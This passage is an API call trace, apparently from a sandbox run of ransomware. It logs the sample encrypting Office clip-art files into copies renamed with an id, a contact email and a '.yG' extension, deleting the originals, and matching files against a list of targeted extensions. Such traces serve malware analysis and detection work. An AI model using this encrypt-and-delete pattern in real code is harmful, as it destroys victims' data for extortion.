	[0163.034] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.035] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0163.039] GetLastError () returned 0x0
	[0163.039] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0163.085] WriteFile (in: hFile=0x4a4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0163.087] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.087] WriteFile (in: hFile=0x4a4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.087] SetEndOfFile (hFile=0x4a4) returned 1
	[0163.087] CloseHandle (hObject=0x4a4) returned 1
	[0163.087] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.087] SetEndOfFile (hFile=0x350) returned 1
	[0163.091] CloseHandle (hObject=0x350) returned 1
	[0163.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1
	[0163.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0163.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0163.393] lstrlenW (lpString=".doc") returned 4
	[0163.393] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0163.393] lstrlenW (lpString=".docx") returned 5
	[0163.393] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0163.393] lstrlenW (lpString=".pdf") returned 4
	[0163.393] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0163.394] lstrlenW (lpString=".xls") returned 4
	[0163.394] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0163.394] lstrlenW (lpString=".xlsx") returned 5
	[0163.394] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0163.394] lstrlenW (lpString=".ppt") returned 4
	[0163.394] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0163.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0163.394] lstrlenW (lpString=".zip") returned 4
	[0163.394] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0163.394] lstrlenW (lpString=".rar") returned 4
	[0163.394] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0163.394] lstrlenW (lpString=".bz2") returned 4
	[0163.394] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0163.394] lstrlenW (lpString=".7z") returned 3
	[0163.394] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0163.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0163.394] lstrlenW (lpString=".dbf") returned 4
	[0163.394] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0163.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0163.394] lstrlenW (lpString=".1cd") returned 4
	[0163.394] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0163.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0163.395] lstrlenW (lpString=".jpg") returned 4
	[0163.395] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0163.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.397] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=15988) returned 1
	[0163.397] CloseHandle (hObject=0x544) returned 1
	[0163.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220
	[0163.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.398] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.398] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0163.399] GetLastError () returned 0x0
	[0163.399] ReadFile (in: hFile=0x544, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3e74, lpOverlapped=0x0) returned 1
	[0163.405] WriteFile (in: hFile=0x538, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3e80, lpOverlapped=0x0) returned 1
	[0163.406] ReadFile (in: hFile=0x544, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.406] WriteFile (in: hFile=0x538, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.406] SetEndOfFile (hFile=0x538) returned 1
	[0163.407] CloseHandle (hObject=0x538) returned 1
	[0163.407] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.407] SetEndOfFile (hFile=0x544) returned 1
	[0163.411] CloseHandle (hObject=0x544) returned 1
	[0163.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1
	[0163.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0163.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0163.417] lstrlenW (lpString=".doc") returned 4
	[0163.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.417] lstrlenW (lpString=".docx") returned 5
	[0163.417] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0163.417] lstrlenW (lpString=".pdf") returned 4
	[0163.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.418] lstrlenW (lpString=".xls") returned 4
	[0163.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.418] lstrlenW (lpString=".xlsx") returned 5
	[0163.418] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0163.418] lstrlenW (lpString=".ppt") returned 4
	[0163.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0163.418] lstrlenW (lpString=".zip") returned 4
	[0163.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.418] lstrlenW (lpString=".rar") returned 4
	[0163.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.418] lstrlenW (lpString=".bz2") returned 4
	[0163.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.418] lstrlenW (lpString=".7z") returned 3
	[0163.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0163.419] lstrlenW (lpString=".dbf") returned 4
	[0163.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0163.419] lstrlenW (lpString=".1cd") returned 4
	[0163.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0163.419] lstrlenW (lpString=".jpg") returned 4
	[0163.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0163.420] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=27000) returned 1
	[0163.420] CloseHandle (hObject=0x52c) returned 1
	[0163.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220
	[0163.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0163.421] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.421] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.422] GetLastError () returned 0x0
	[0163.423] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x6978, lpOverlapped=0x0) returned 1
	[0163.475] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x6980, lpOverlapped=0x0) returned 1
	[0163.490] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.490] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.490] SetEndOfFile (hFile=0x544) returned 1
	[0163.490] CloseHandle (hObject=0x544) returned 1
	[0163.490] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.491] SetEndOfFile (hFile=0x52c) returned 1
	[0163.507] CloseHandle (hObject=0x52c) returned 1
	[0163.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1
	[0163.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0163.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0163.509] lstrlenW (lpString=".doc") returned 4
	[0163.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.509] lstrlenW (lpString=".docx") returned 5
	[0163.509] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0163.509] lstrlenW (lpString=".pdf") returned 4
	[0163.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.509] lstrlenW (lpString=".xls") returned 4
	[0163.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.509] lstrlenW (lpString=".xlsx") returned 5
	[0163.509] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0163.509] lstrlenW (lpString=".ppt") returned 4
	[0163.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0163.509] lstrlenW (lpString=".zip") returned 4
	[0163.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.509] lstrlenW (lpString=".rar") returned 4
	[0163.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.510] lstrlenW (lpString=".bz2") returned 4
	[0163.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.510] lstrlenW (lpString=".7z") returned 3
	[0163.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0163.510] lstrlenW (lpString=".dbf") returned 4
	[0163.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0163.510] lstrlenW (lpString=".1cd") returned 4
	[0163.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0163.510] lstrlenW (lpString=".jpg") returned 4
	[0163.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0163.512] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=11216) returned 1
	[0163.512] CloseHandle (hObject=0x52c) returned 1
	[0163.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220
	[0163.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0163.513] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.513] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.515] GetLastError () returned 0x0
	[0163.515] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2bd0, lpOverlapped=0x0) returned 1
	[0163.518] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0163.519] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.519] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.519] SetEndOfFile (hFile=0x544) returned 1
	[0163.520] CloseHandle (hObject=0x544) returned 1
	[0163.520] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.520] SetEndOfFile (hFile=0x52c) returned 1
	[0163.523] CloseHandle (hObject=0x52c) returned 1
	[0163.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1
	[0163.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0163.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0163.525] lstrlenW (lpString=".doc") returned 4
	[0163.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.526] lstrlenW (lpString=".docx") returned 5
	[0163.526] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0163.526] lstrlenW (lpString=".pdf") returned 4
	[0163.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.526] lstrlenW (lpString=".xls") returned 4
	[0163.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.526] lstrlenW (lpString=".xlsx") returned 5
	[0163.526] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0163.526] lstrlenW (lpString=".ppt") returned 4
	[0163.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0163.526] lstrlenW (lpString=".zip") returned 4
	[0163.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.526] lstrlenW (lpString=".rar") returned 4
	[0163.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.526] lstrlenW (lpString=".bz2") returned 4
	[0163.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.526] lstrlenW (lpString=".7z") returned 3
	[0163.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0163.526] lstrlenW (lpString=".dbf") returned 4
	[0163.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0163.527] lstrlenW (lpString=".1cd") returned 4
	[0163.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0163.527] lstrlenW (lpString=".jpg") returned 4
	[0163.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0163.953] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=17040) returned 1
	[0163.953] CloseHandle (hObject=0x538) returned 1
	[0163.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220
	[0164.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0164.134] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.134] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0164.135] GetLastError () returned 0x0
